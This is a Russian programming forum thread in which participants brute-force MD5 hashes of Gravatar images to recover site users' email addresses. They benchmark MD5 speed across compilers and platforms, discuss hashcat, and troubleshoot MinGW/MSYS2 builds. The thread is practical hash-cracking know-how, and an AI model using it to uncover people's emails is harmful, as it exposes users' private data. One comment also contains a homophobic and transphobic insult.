            case 'y': return 'z';
            case 'z': return 'a';
            default:  return 0;
          }
        }
      Почему не?
      return ch>='a' && ch<'z' ? ch+1 : 'z'==ch ? 'a' : 0

      В-третьих, зачем это в трапотреде?
      Ответить
      • Кресты - потому, что на ЖС генереции тормозили примерно на порядок. У меня и так был слив пирфоманса на три порядка из-за того, что я майнила на цпу вместо гпу, четвертый порядок был бы с лишком пичальным.
        Тормозило вераятно из-за того, что дайджест мд5 конвертировался из буфера в строку и обратно, а ещё итерировалась я по массиву строк из одного элемента и джойнила.
        Мне лень было пердолиться и байтонякствовать на жс. Перепесала на кресты и получила пирфоманс практически искаропки.

        > Почему не?
        Хотелось таблицу питухеций.

        > зачем это в трапотреде?
        Сверху Августовский обсуждал майнинг я думала этотред про майнинг
        Ответить
        • > char *
          > memcpy
          > memmove

          Какая всё-таки срань. Сишка в крестопарашной обертке.
          Правильно, написал и сразу на ГК!
          Ответить
          • Настенька хотела майнить почты. Я ей написал скрипт перебора на жс. Она запускает, а там 200-300 килохешей в секунду, и то при запуске на одном ядре при штеуд-бусте. На нескольких ядрах удалось выжать только 700. Меньше потоков - процессор простаивает, больше потоков - процессор слишком горячий.
            Потом такая "а ты знаешь, что на гпу гигахэши, а ты мне всучил эту анскильную питушню?" Ещё у самой типа времени нет писать код.
            А я что? Я ей написал как мог на сишке с примесью крестов для хранения мапы с хешами. Вышло 1.2 мегахеша, в многопоточном режиме удалось выжать до 5. Это ещё был просто полный перебор. Посидели с ней, добавили к крестушне генератор ворец-слов, чуть-чуть подслив пирфоманс (2-5%).

            Я потом замечаю какой-то перегрев. Это Настенька мне ноутбук хочет спалить, не иначе. Я её согнал, глянул на экран, а вореции понравились. Решил обернуть свой пирфомансный (для скриптуха) код в итератор да выложить, чтобы и другие попробовали вореции.

            Как говорят у нас в деревнях,

            Oz, fixod -- ubaf ojuzeq bop sajam afir pec. Luficiz, af iq, uc vukur on buc. Muwos, oy, masibac ex. Ic -- guz ozaz. Lozok, qesel. Ec yol jun ox, mifokad gex imox! Ek azof mizuliy. Ohowap mojemiz us idaq, oqumej ub dodan.
            Ответить
            • У меня похожие показатели пирфоманса, причём от производительности шины памяти они почему-то слабо зависят. Видимо, при расчёте md5 от такого крошечного блока всё умещается в кэш.

              Остаётся только применять экстенстивный метод: на нескольких ядрах запускать несколько майнеров, чтобы забить все ядра, а также занимать всю доступную технику.

              Из спортивного интереса взял «Free Pascal». В его библиотеку «FCL» уже входят парсер CSV, интерфейсы к БД, модули криптушни с md5 и прочим, а также косплей на крестовую STL с TMap и THashMap.

              Сделал TMap с хэша «Граватара» на айдишник в массиве юзеров. Функцию перебора сделал с минимальным количеством вычислений и ветвлений (задал отображение символ->следующий символ в виде константного массива). Всё упирается в скорость вычисления md5.

              Нужно искать реализации md5, оптимизированные под конкретные процессоры, либо всё-таки разобраться с вычислениями на «OpenGL».

              На текущий момент за сутки на одном ядре реально перебрать все семисимвольные кобенации из буков, цифр и знаков препинания для конкретного домена. С восьмисимвольными уже хуже, но вполне реально перебрать слова из четырёх слогов для нескольких доменов.
              Ответить
              • Собрал тот же фрипаскалевский исходник под «Андроид».

                Собранный под ARMv8 (64-битный) показал 130 тысяч в секунду, собранный под x86 (32-битный «Атом») показал 250 тысяч в секунду.

                На ПК тот же исходник давал миллион хэшей в секунду при компиляции в 32 бита и на той же машине в два раза меньше при компиляции в 64 бита.

                Какой отсос )))
                Ответить
                • > ARMv8

                  К слову, в ARMv8 есть инструкции для аппаратного вычисления AES, SHA1, SHA256, SHA512, а вот для MD5 нету. Т. е. разработчики процессора решили, что MD5 — такое говно, что аппаратным ускорением его можно не заморачиваться.

                  AES есть и в «Интелах», а вот остального вроде нету.
                  Ответить
                • У меня сейчас нет под рукой видеокарты с поддержкой «OpenCL». У меня есть интелоговно с поддержкой «OpenGL» и «DirectCompute».

                  Когда появится, тогда попробую.
                  Ответить
                • К слову, про интелоговно.

                  Can I use Intel GPUs, they support OpenCL?

                  Intel has great OpenCL support on Windows, but no support on Linux. Intel's OpenCL SDK for Linux supports only CPU.

                  Since hashcat is programmed on Linux (and afterwards cross-compiled for windows) there's no chance yet to getting this to work.

                  GPUs are not magic go-fast devices. The microarchitecture and ISA have to be well-suited for the task at hand. As it stands, Intel GPUs have very minuscule raw compute power, and their ISA is not optimal for password cracking. Most modern-day CPUs with XOP or AVX2 support will be faster than an Intel GPU.

                  Отсюда:
                  https://hashcat.net/wiki/doku.php?id=frequently_asked_questions#c an_i_use_intel_gpus_they_support_opencl
                  Ответить
                  • Штеуд сейчас форсит свой аналог «CUDA», oneApi

                    https://software.intel.com/content/www/us/en/develop/documentation/get-started-with-intel-oneapi-base-linux/top.html

                    > Intel's OpenCL SDK for Linux supports only CPU.
                    Информация устарела.
                    OpenCl вроде должен работать на более-менее свежей графике

                    https://www.phoronix.com/scan.php?page=news_item&px=Intel-OpenCL-3.0-Compute-Ready

                    > OpenCL 3.0 is enabled by default for all hardware supported by the Compute-Runtime stack, which is back to Broadwell Gen8 graphics. Haswell and older isn't supported at all by this compute stack but for those interested there is the older Beignet code in its dormant state for that aging hardware.

                    > So long story short, the latest Compute-Runtime Git code enables OpenCL 3.0 for Broadwell through Icelake while Tiger Lake already had the support by default. The next release should be about in about one week given their roughly weekly cadence between tagged versions.
                    Ответить
                    • > Информация устарела.

                      Только вот авторы Hashcat об этом не знают. Значит, придётся его портировать.

                      > Beignet

                      Его ещё нужно собрать и не факт, что получится, если у меня руки, как у Сёмы.

                      > oneApi

                      И под него софт писать с нуля.

                      А ещё я правильно понял, что пользователи «Windows» в пролёте?
                      Ответить
                      • > older isn't supported at all by this compute stack but for those interested there is the older Beignet code in its dormant state for that aging hardware

                        Думаю пердоль с этим говном не стоит выхлопа. Если он вообще будет.

                        > А ещё я правильно понял, что пользователи «Windows» в пролёте?

                        Не могу сказать ничего внятного. Я «Windows» не трогал уже много лет.

                        > Его ещё нужно собрать и не факт, что получится, если у меня руки, как у Сёмы.

                        Если старое железо, то лучше не пердолиться, а приобрести какую-нибудь не очень мощную дискретную карту. С CUDA, например.
                        Или вообще купить немного машинного времени где-то в облаке с GPU.
                        Ответить
                  • The Intel(R) Graphics Compute Runtime for oneAPI Level Zero and OpenCL(TM) Driver is an open source project providing compute API support (Level Zero, OpenCL) for Intel graphics hardware architectures (HD Graphics, Xe).

                    https://github.com/intel/compute-runtime

                    Скачать бесплатно без регистрации интегрированные карточки штеуд в download free. Штеуд выучить С++ Visual Basic за 21 день, скачать архив бесплатно, download here. Штеуд интегрированная графика скачать бесплатно Штеуд голый Skylake интегрированные карточки
                    https://github.com/intel/compute-runtime/releases/tag/21.27.20266
                    intel-opencl_21.27.20266_amd64.deb
                    Ответить
              • Решил проверить, как бы было с другой битностью.

                Настенька использовала OpenSSL под Ubuntu под WSL2, поскольку этот вариант принёс 0 единиц пердолинга из 10. Даже битность приложения была неизвестна, поскольку всё само автоматически скомпилировалось и заработало.

                Оказалось, это были 64 бита. Чтобы собрать 32, надо было попердолиться. Установить какой-то gcc-мультик (как его посмотреть?) удалось. Но вот OpenSSL для 32 бит через простой apt-get install не работает. Надо качать какие-то дебиановские старые пакеты, и никто не обещал, что они поставятся.

                Ладно, что возиться с полулуниксами, если есть обычная ОС без СМС и эмуляции? Пробуем установить openssl-dev через mingw-get. Это MSYS-питушня, и чёрт его знает, как оно взаимодействует с MinGW. Конпелятор по умолчанию не видит питушню в заголовках. Если добавить MSYS/include с флагом I, ломается стандартная библиотека C++. Если добавить MSYS/include/openssl, стандартная библиотека жива, но ломаются инклюды openssl/pitux.h внутри самой openssl. Если скопировать заголовочные, то компилируется, но не собирается. А вот библиотечные файлы OpenSSL уже не подключаются не через L, ни через копирование в MinGW/lib.

                Попробовать переписать через WinAPI? Разумеется, нет. Как говорил тот утёнок, "под этой ОС к разработчику относятся как к врагу". Какой-то пердолинг с ЁПРСТSTR и ХУЙПЗДPTR в каждой функции, а главное - два API и в обоих надо знатно попердолиться. Какие-то криптовахтёры, криптопровайдеры и прочие ненужные абстракции над простым "посчитать сука хэш". Одно API deprecated, но к нему есть пример. Другое API не имеет примера, но в него добавили флаг "переиспользовать объект". То есть в первом API надо на каждый хэш создавать и удалять кучу вспомогательных объектов, которые ничего не делают. Какой пердолинг )))

                Так я не узнал про битность. Но понял, что не очень-то и хотелось узнать.
                Ответить
                • Что за сложное пердольное говно? Хэшировать сможет только доктор хэшировальных наук, почётный мастер хаскеля с красным дипломом по БДСМ:
                  https://docs.microsoft.com/ru-ru/windows/win32/seccrypto/example-c-program--creating-an-md-5-hash-from-file-content?redirectedfrom=MSDN

                  Зачем так сложно? Сколько виндувс-разработчик должен заплатить, чтобы выкупить себя из рабства?
                  https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptcreatehash
                  https://docs.microsoft.com/en-us/windows/win32/seccng/creating-a-hash-with-cng
                  Ответить
                  • То ли дело OpenSSL. Сделали для людей:
                    #include <openssl/md5.h>
                    
                    // Если всё же нельзя обойтись без пердолинга с блоками
                    int MD5_Init(MD5_CTX *c);
                    int MD5_Update(MD5_CTX *c, const void *data, unsigned long len);
                    int MD5_Final(unsigned char *md, MD5_CTX *c);
                    
                    // Если все данные в одном блоке
                    unsigned char *MD5(const unsigned char *d, unsigned long n, unsigned char *md);


                    Без говнопровайдеров и прочего пердолинга. В самом простом случае можно обойтись только одной функцией!
                    Ответить
                    • Вариант с блоками неплохой, он позволяет обойтись без mmap/MapViewOfFile, а также забирать конь-тент откуда угодно (из сети, например) и при этом не забивать оперативку.
                      Ответить
                • > Если добавить MSYS/include с флагом I, ломается стандартная библиотека C++. Если добавить MSYS/include/openssl, стандартная библиотека жива, но ломаются инклюды openssl/pitux.h внутри самой openssl. Если скопировать заголовочные, то компилируется, но не собирается.

                  Нужно ставить два gcc: один для mingw (pacman -S mingw-w64-i686-gcc для 32-битного и pacman -S mingw-w64-x86_64-gcc для 64-битного), второй для msys (pacman -S gcc без префикса). Тогда можно будет собирать два типа приложений: зависящие от msys и независящие. У них рантайм разный. Если попытаться слинковать с чужим рантаймом, получится питушня.

                  P.S. «pacman» — это про msys2.org. Оригинальный mingw устарел.
                  Ответить
                  • P.S. В комплекте есть экзешники, которые устанавливают нужный PATH (mingw32.exe, mingw64.exe, msys2.exe, clang32.exe, clang64.exe, ucrt64.exe).

                    Два msys (32-битный и 64-битный) установить в один каталог не получится. Их придётся ставить в C:\msys32 и C:\msys64 соответственно.
                    Ответить
                  • Если правильно помню, MinGW в той папке я устанавливал с какого-то правильного сайта, где сразу был комплект MinGW+MSYS. Не ожидал подвоха. Клик-установка-работает, клик-установка-работает, клик-клик-минговнище-пердолинг.
                    Ответить
                    • В оригинальном «MinGW» так же: два компилятора и два набора библиотек: один под голый «MinGW», второй — под «MSYS». Смешивать их нельзя.
                      Ответить
                    • Итак, оригинальный «MinGW»:
                      • компилятор под «MinGW» в C:\MinGW\bin\
                      • компилятор под «MSYS» в C:\MinGW\msys\1.0\bin\

                      «MSYS2» (показываю пути для 32-битной версии):
                      • компилятор под «MinGW» в C:\msys32\mingw32\bin\
                      • компилятор под «MSYS» в C:\msys32\usr\bin\
                      Ответить
                      • Так. Выходит, у меня установлены
                        * Оригинальный MinGW (с MSYS1)
                        * MSYS1 (без минпитуза)
                        * MSYS2 64 б (внутри есть две папки MinGW - для 32 и для 64, но 32 - декоративная)

                        Надо будет доустановить MSYS2 32 б.

                        В MSYS2 64 б
                        * mingw32.exe знает make, но не знает g++, ну и ладно, не очень-то и хотелось
                        * mingw64.exe знает make и знает g++ - неплохо, но надо через MSYS?
                        * msys2.exe знает make, но не знает g++ - а вот это уже багор.

                        > pacman
                        apt -h в  первых строках выдаёт полезные команды:
                        ...
                        Most used commands:
                          list - list packages based on package names
                        
                        yum -h вываливает список всех команд:
                        ...
                        List of Commands:
                        check          Check for problems in the rpmdb
                        
                        pacman -h выдаёт какой-то tar:
                        ...
                            pacman {-D --database} <параметры> <пакет(ы)>

                        Для пользователей Windows выбрали самое пердольное решение.
                        Ответить
                        • Документацию по «pacman» можно прочитать... в «Арчвики»:
                          https://wiki.archlinux.org/title/Pacman_(Русский)

                          32-битный «gcc» ставится командой:
                          pacman -S mingw-w64-i686-gcc


                          «OpenSSL» для «MinGW»:
                          pacman -S mingw-w64-i686-openssl


                          Да, префиксы названий пакетов для «MinGW» бесят. Могли бы назвать и покороче.

                          Список всех пакетов можно подглядеть тут:
                          http://repo.msys2.org/mingw/i686/
                          Ответить
                          • Спасибо.

                            Вики нагуглил, а вот pacman сломали. Вылезает PGP-багор. Интернеты пишут https://www.msys2.org/news/#2020-06-29-new-packagers. Вроде помогает, но пишет про другие пакеты, в т.ч. про zstd. Чуть позднее в новостях пишут про zstd, но вроде как в репозитории уже версии поновее.

                            Потом на каждую команду стало писать "fork ... кто-то помер ... unavailable". Оказывается, при какой-то из манипуляций msys-2.0.dll удалился и больше ничего не работает. Какой багор )))

                            Видимо, надо будет всё удалить и заново поставить, чтобы и подписи нужные были, и msys-2.0.dll присутствовал.
                            Ответить
                            • Тред не читал, но пожалуйста напомни мне, к чему вся эта гомоанальная жопоебля?

                              Ты хочешь собрать экзешник под винду с openssl?
                              Ответить
                              • Сентябрьский питух написал, что у него были различия по скорости MD5 в версиях для 32 и 64 бит.

                                Я заинтересовался вопросом. У меня была 64-битная программа с openssl под винубунту. Собрать 32-битную программу под винубунту или хоть какую-то программу под винду не удалось.

                                > Ты хочешь собрать экзешник под винду с openssl?
                                В идеале - пару экзешников - на 32 и 64 бита.
                                Ответить
                                • У меня были различия из-за того, что я решил потестировать библиотеки «Фрипаскаля». Помнишь, Пи недавно выложил графики про отсос растомразей? Вот мне захотелось сравнить библиотеки для разных языков, но дальше я пока не пошёл.

                                  Так вот библиотеки из «FCL» сыроваты в плане оптимизации. Версию для 32-битного x86 они написали на ассемблере без SIMD. Версию x86_64 они написали на «Паскале» с анроллом:
                                  // Round 1
                                    a := b + roldword(dword(a + ((b and c) or ((not b) and d)) + Block^[0]  + $d76aa478),  7);
                                    d := a + roldword(dword(d + ((a and b) or ((not a) and c)) + Block^[1]  + $e8c7b756), 12);
                                    c := d + roldword(dword(c + ((d and a) or ((not d) and b)) + Block^[2]  + $242070db), 17);
                                    b := c + roldword(dword(b + ((c and d) or ((not c) and a)) + Block^[3]  + $c1bdceee), 22);


                                  Версию для других процессоров они написали на «Паскале» без анролла.

                                  Пробовал компилировать с разными ключами, чтобы задействовать SIMD. Всё равно 64-битная версия получалась медленнее 32-битной. Видимо, у «Фрипескаря» слабый оптимизатор кода.

                                  К слову, нашёл в «Гитхабе» код на ассемблере под «SSE» и под «AVX». Буду смотреть.
                                  Ответить
                              • Намекаешь на то, что он мог тупо импортировать libeay32.dll и ssleay32.dll любым конпелятором, который нравится?
                                Ответить
                                • ну php.exe так делал

                                  Напомню, что VC кроме .dll требует еще .lib (тн стабы) даже для _динамически_ линкуемой питушни

                                  gcc вроде похзуй
                                  Ответить
                                  • Вроде ещё какие-то линкеры умели через def-файлы («Борланд»?). Кстати, у «Борланда» есть утилита «implib» для генерации стабов. Я не помню, как такое делать в «Студии».
                                    Ответить
                                    • .lib для динамопитушни это, па сути, файл экспорта. Тупо список экспортируемых питуль.

                                      Можно сгенерить его утилитой lib

                                      https://docs.microsoft.com/en-us/cpp/build/reference/lib-reference?view=msvc-160

                                      В Интернетиках предлагаю так

                                      получаем список экспортируемых питуль
                                      dumpbin /exports petuh.dll



                                      превращаем их в список типа такова
                                      EXPORTS
                                      myfunc1
                                      myfunc2


                                      И генерируем .lib

                                      lib /def:pitul.def /OUT:petuh.lib


                                      Почему это не сделать было бы тулчейну самому -- я не знаю.

                                      На то и щука, чтоб карась не скучал


                                      ЗЫ: .def вроде еще нужно писать руками, если ты экспортируешь питушню и собираешь .dll
                                      Ответить
                                        • Ой, и слава богу.

                                          начнут что-то трогать, и напридумывают 100500 новых концепwций

                                          Будет очередной WinMD/UWP.

                                          Пусуай лучше в msvc-160 будет как в msvc-60.


                                          ЗЫ: Видал
                                          https://i.postimg.cc/0jZjqVvF/gk.png

                                          ?

                                          Вот они -- сорок тысяч обезъян
                                          Ответить
                                        • Спасибо, что ударение проставил.
                                          Ответить
                                • Неплохо.

                                  Через https://wiki.openssl.org/index.php/Binaries попал на курлык-гитхаб, а оттуда - на https://curl.se/windows/, где можно скачать архив с заголовочной и скомпилированными питушнями.

                                  Распаковал, добавил папку с заголовочными через -I, добавил libcrypto.a как аргумент G++ и запустил конпеляцию под выжившим классическим MinGW. Скомпилировалось, работает! (это же вышла как бы статическая линковка? как будто вообще библиотеки не было?)

                                  P.S. В прошлый раз я не только кобенировал MinGW и MSYS1, но и ещё указывал через -L путь к папке, где лежали libcrypto.a и libcrypto.dll.a.
                                  Ответить
                                  • >libcrypto.a
                                    >(это же вышла как бы статическая линковка? как будто вообще библиотеки не было?

                                    да, судя по 'a'.

                                    Можешь с помощью ``readelf -d`` проверить какие либы в твой бинарь импортируются

                                    Еще есть objdump
                                    Ответить
                                    • Спасибо, objdump -x filename | grep MD5 у меня работает и в MinGW, и в WSL2, причём в Ubuntu можно посмотреть оба бинарника, а под виндой - только виндовый. Разница в наборе MD5 наблюдается: в динамушне упоминается только то, что использую, в статушне - всё. Через |grep Dynamic работает только с луниксовым файлом, в виндовом никаких динамиков нет, поэтому я за винду.

                                      readelf -d тоже работает, но эльфийский расизм не позволяет прочитать виндовый файл.

                                      Собрал с ключами -O3 -static и там, и там (файлы приложения распухли до 2МБ). Пердольный тест на четверть часа, запуск одновременный по одной копии, данные за то же количество хэшей (79 измерений по 1<<24 хэшей, перебор [a-z]+):

                                      system   | avg Mh/s | sqrt(disp Mh/s)
                                      ---------+----------+----------------
                                      MinGW 32 |    1.509 |           0.12
                                      WSL2  64 |    1.388 |           0.10


                                      Скопировал libcrypto-1_1.dll в папку с "проектом" и скомпилировал с -L. -lcrypto-1_1 в MinGW. В Ubuntu - -lcrypto.
                                      Собрал с -O3 и без -static. Пердольный тест на четверть часа, запуск одновременный по одной копии, данные за то же количество хэшей (79 измерений по 1<<24 хэшей, перебор [a-z]+):

                                      system   | avg Mh/s | sqrt(disp Mh/s)
                                      ---------+----------+----------------
                                      MinGW 32 |    1.518 |           0.14
                                      WSL2  64 |    1.395 |           0.12


                                      Под MinGW-32bit удалось майнить чуть менее, чем на 9% быстрее, чем под WSL2-64bit. Статистически значимая разница между статушнёй и динамушнёй не набюдается.
                                      Ответить
                                      • К слову, про отладочные символы. Я кидал ссылку на «cv2pdb»?

                                        https://github.com/rainers/cv2pdb

                                        Она может сконвертировать «DWARF», который генерирует «MinGW», в «PDB», понятный виндовым дебагерам общего назначения.
                                        Ответить
                            • Был у меня багор, когда они поменяли формат с «xz» на «zstd». Я скачал новый «pacman» с repo.msys2.org, распаковал его, чтобы получить незожатый tar, а потом скормил старому «пакману»:
                              pacman -U имя_файла.tar


                              После этого всё заработало.
                              Ответить
                              • Сейчас без msys-2.0.dll уже ни pacman, ни другие программы не работают.
                                Надо будет этот тред добавить в закладки до момента переустановки.
                                Ответить
                                • Можно, конечно, найти эту библиотеку в repo.msys2.org, распаковать и скопировать, куда надо, но мне кажется, что проще будет запустить инсталлятор с нуля.
                                  Ответить
                                • Кстати, все скачанные пакеты можно найти тут:
                                  C:\msys32\var\cache\pacman\pkg\
                                  C:\msys64\var\cache\pacman\pkg\


                                  Там обычные тары, зожатые «xz» или «zstd» (а когда-то в древности вроде «bzip2» был). В таре файлик с описанием пакета .PKGINFO и тупо файлы для копирования с поддиректориями. В случае, если что-то сломалось, оттуда можно вытащить недостающий файл.

                                  Пакет (зожатый или розжатый тар), как я уже писал, можно скормить «пакману», если он не сломался, с помощью ключа «-U».
                                  Ответить
                                • У меня были две поломки этой системы на «Висте».

                                  Первая, когда обновился «pacman» и новый «pacman» стал требовать минимум семёрку.

                                  Скачал его вручную из repo.msys2.org, распаковал и запретил обновляться (IgnorePkg в pacman.conf).

                                  Вторая поломка, когда был переход с «xz» на «zstd». Пакеты перестали устанавливаться.

                                  Я заметил в кэше (выше показал ссылки) нераспакованные пакеты. Разжал их в тар, после чего они установились.

                                  Потом очередная версия «пакмана» внезапно стала снова совместима с «Вистой», и всё само починилось. Я даже удивился такому шагу.

                                  На более новых ОС поломок не было.
                                  Ответить
                            • > Потом на каждую команду стало писать "fork ... кто-то помер ... unavailable"

                              Да, кстати я ловил такую хуйню ещё на 32битной XP.
                              Если долго работаешь с mingw оно уходило в ступор.
                              Особенно когда сборка чего-то крупного, которая обычно запускает много разных процессов, форков, итд.

                              Тогда помогала или перезагрузка или rebase на рандомный адрес. Причём я помню что Шланг у меня без одной перезагрузки не собирался.
                              C:\msysgit\bin>rebase.exe -b 0x500BA60F msys-1.0.dll

                              Выходит это до сих пор не починили?

                              > Если добавить MSYS/include с флагом I, ломается стандартная библиотека C++.
                              > pacman сломали. Вылезает PGP-багор.

                              А когда я говорил что винда по уровню пердолинга и красноглазия часто кроет луниксы многие считали что я «троллю».
                              Ответить
                              • Ну вообще msys это не пирдолинг винды, это пирдолинг винды плюс пирдолинг GNU

                                worst from the both worlds
                                Ответить
                                • > пирдолинг винды плюс пирдолинг GNU
                                  Именно так.

                                  Хотите использовать свободушню — ставьте Линукс.Возможно WSL не так плох, но я с ним не работал.

                                  Хотите писать на C# под MS SQL Server — сидите на Винде.

                                  Хотите Swift под iOS, ну вы поняли...
                                  Ответить
                                  • Я ковырялся с WSL-2, вполне годно для большинства задач.

                                    * Ядро линуксовое, но перебранное MSом
                                    * init у них свой
                                    * остальной юзерленд из дистров

                                    systemd там нет, но докер работает отлично, вполне можно staging сделать или разрабатывать там (жыдбрейнсы умеют запускать IDE на винде, а тулчейн в WSL, и VSCode тоже)
                                    Ответить
                                • Это ещё не пирдолинг. Пирдолинг — это запуск в «Винде» программ для «X-Window».

                                  google: VcXsrv
                                  Ответить
                                  • НУ вообще Xming у меня под виндой вполне себе работает. Заходишь на виртуалку с x11 ssh forwarding и течешь.

                                    У старых програм могут быть проблемы со шрифтами (их надо ставить атдельно), но новым на серверные шрифты пофиг (xft, все дела) и всё как-то работает
                                    Ответить
                              • >> Потом на каждую команду стало писать "fork ... кто-то помер ... unavailable"

                                Мне иногда (раз в пару лет) требуется запускать «rebase» после установки новых пакетов. Почему-то установка новых пакетов что-то ломает.
                                Ответить
                                • > Почему-то установка новых пакетов что-то ломает.

                                  Может меняется вореция в ASLR?

                                  Удивительно конечно что проблему спустя 10 лет так и не решили. Причём уже кругом x64.
                                  Ответить
                                  • Может вам лучше куда-нибудь перекатиться, а то в этом говнокоде уже 852 (а с учетом этого - 853) комментария?
                                    Ответить
                              • >> Если добавить MSYS/include с флагом I, ломается стандартная библиотека C++.

                                А тут он просто не разобрался.

                                Нужно определиться, для какого рантайма компилируешь программу («MSYS» или «MinGW») и ни в коем случае их не смешивать. Либо все модули компилируешь под «MSYS», либо все под «MinGW».

                                Он, не зная, смешал.
                                Ответить
                                • > Нужно определиться, для какого рантайма компилируешь программу

                                  Сначала жертве показывают MSYS. Говорят, что им надо собирать нативные программы под винду.

                                  Затем жертве показывают MinGW. Говорят, что им надо собирать позиксовые программы.

                                  Затем жертву заставляют смешать MSYS и MinGW.

                                  З.Ы. Тьфу блин, позиксовый же Cygwin.
                                  Ответить
                                  • Да, полностью позиксовый Cygwin.
                                    Немного позиксовый MSYS (он намного тоньше, чем Cygwin, но всё равно толстый).
                                    И совсем нативный MinGW.
                                    Ответить
            • Засунул в декодер «Лебедева»:
              ╬З░ ФИЬОД ≠≠ УБАФ ОЙУЗЕЯ БОП САЙАМ АФИР ПЕЦ│ ·УФИЦИЗ░ АФ ИЯ░ УЦ ЖУКУР ОН БУЦ│ █УВОС░ ОЫ░ МАСИБАЦ ЕЬ│ ┘Ц ≠≠ ГУЗ ОЗАЗ│ ·ОЗОК░ ЯЕСЕЛ│ ≈Ц ЫОЛ ЙУН ОЬ░ МИФОКАД ГЕЬ ИМОЬ╟ ≈К АЗОФ МИЗУЛИЫ│ ╬ХОВАП МОЙЕМИЗ УС ИДАЯ░ ОЯУМЕЙ УБ ДОДАН│

              Попутно ещё нашёл сервис https://dencode.com/

              Понятнее не стало.
              Ответить
  • Бесплатные уроки турецкого-ворецкого!

    Ubum uw? Volod huwesuj abikax. Finut, ug aw ih, vah. Wex usih jenapiq. On evegix, fik ez jiqejud etiq ofofeb. Fut uboj. Poterat etat awil? Op, ih, ulutuq kaj puzomoc! Qacuyez uqiy -- amapol, beg awokiq qawupoy ax.

    #include <iostream>
    #include <cstdio>
    #include <ctime>
    #include <cctype>
    
    #include "voreterator.hpp"
    
    int main () {
      srand(time(NULL));
      char buf[10] = "aaaaaaaa";
      voreterator<1, 1> v(buf, 8);
      int c = 0, cc = (rand() & 0xfff) * 19 + 31, w = 1;
      bool pervinah = true;
      for (auto str : v) {
        if (++c == cc) {
          char * const s = const_cast<char*>(str) + (rand() % 6) + 1;
          if (!--w) {
            w = (rand() & 7) + 2;
            if (!pervinah) {
              if (rand() % 6 == 1) {
                std::cout << '!';
              } else if (rand() % 6 == 1) {
                std::cout << '?';
              } else {
                std::cout << '.';
              }
            }
            *s = toupper(*s);
          } else if (rand() % 7 == 1) {
            std::cout << ',';
          } else if (rand() % 29 == 1) {
            std::cout << " --";
          }
            
          std::cout << (pervinah ? "" : " ") << s;
          *s = tolower(*s);
          
          c = 0;
          cc = (rand() & 0xfff) * 19 + 31;
          pervinah = false;
        }
      }
    }
    Ответить
  • async Get_array_friends(userid) {
        let friends = await this.Get(userid)
        let Follows = await this.GetFollows(userid)
    
        let ids = []
    
        friends.map((friends => {
          if (friends.user1 == userid) {ids.push(friends.user2);  return friends.user2}
          else if (friends.user2 == userid){ ids.push(friends.user1);  return friends.user1}
        }))
    
        Follows.map((friends => {
          if (friends.user1 == userid) { ids.push(friends.user2); return friends.user2 }
          else if (friends.user2 == userid) { ids.push(friends.user1); return friends.user1 }
        }))
    
        return ids
      },


    Незнаю как, но оно работает
    Ответить
    • Это же питушня какая-то!

      Если там push и результат выполнения ...map(...) не используется, то не надо return, а map стоит заменить на forEach:
      friends.forEach(friends => {
        if (friends.user1 == userid) ids.push(friends.user2);
        else if (friends.user2 == userid) ids.push(friends.user1);
      })


      А если там реально преобразование массива, то надо куда-то результат сохранить и либо во всех ветках что-то вернуть
      let someVariable = friends.map(friends => {
        if (friends.user1 == userid) return friends.user2
        if (friends.user2 == userid) return friends.user1
        return что-нибудь тоже
      })


      Либо отфильтровать результаты
      let someVariable = friends.map(friends => {
        if (friends.user1 == userid) return friends.user2
        if (friends.user2 == userid) return friends.user1
        // тут вернут ундефинед
      }).filter(Boolean)
      Ответить
      • В общем, код говно, автор – пидрарас, чего ещё ожидать от человека, для которого нормально притворяться женщиной, забавляя своими жалкими потугами окружающих?
        Ответить
    • По дизайну сайта:

      1. В списке юзеров длинные имена налезают друг на друга. Такого стараются избегать: либо принудительно переносят буквы (word-wrap:break-word), либо обрезают имя, а остаток заменяют многоточием или эффектом «fade» (тогда полное имя можно посмотреть либо перейдя на страницу, либо в десктопной версии наведя мышку, если оно указано в атрибуте title).

      2. Поля. Они почти везде отсутствуют. Особенно некрасиво это выглядит, когда угол текста налезает на скругление блока. Либо радиус кривизны уменьшить, либо отступ увеличить.

      3. Используются предположения о дефолтных значениях своств CSS, а они в разных браузерах разные. google: reset.css. Только не копируй готовый reset.css (в них бывает много лишнего), а изучи и скопируй только нужные правила.
      Ответить
      • > только нужные правила

        Как определить, какие из них нужные?
        Ответить
        • Вставлять по одному методом тыка. Если страницу перестало распидорашивать, значит, найдена оптимальная кобенация.
          Ответить
        • Кстати, про переносы. «Фаерфокс» умеет переносить текст по слогам, если в преамбуле задать атрибут «lang».
          Ответить
          • А без lang он не пытается подобрать что-нибудь подходящее?
            Ответить
            • Не пытается. В разных языках разные правила переноса. Латинская «y» вообще в одних языках используется как гласная, в других — как согласная.
              Ответить
  • Поднимите руку кто умеет в LabVIEW
    Ответить
    • Я немного в MATLAB умею, там еще уебанский скриптовый язык встроенный, меня он сильно выбесил. А LabVIEW это какое-то блоксхемное говно, я с таким даже не связываюсь
      Ответить
      • [quote]
        А я хочу оперировать функциями стандартной библиотеки Си, системными вызовами, сишными библиотеками, и делать это мышкой в графике, а не клавиатурой в тексте, как 40 лет назад.
        [/quote]
        Ответить
  • Главный тренер «Ротора» Дмитрий Хохлов подал в суд на Facebook. Причина в том, что соцсеть блокирует любое упоминание его фамилии, считая его пренебрежительным прозвищем украинцев и оскорблением по национальному признаку.
    Ответить
  • ошибки линкера у плюсов такие же прикольные, как и у компилятора
    :(.text._ZN2kj1_17HeapArrayDisposer9Allocate_INS_9StringPtrELb1ELb1EE8allocateEmm[_ZN2kj1_17HeapArrayDisposer9Allocate_INS_9StringPtrELb1ELb1EE8allocateEmm]+0x30)


    я вкурсе про мангл, но всё равно смешно
    Ответить

Добавить комментарий

Переведи на "PHP", guest!

    А не использовать ли нам bbcode?


    8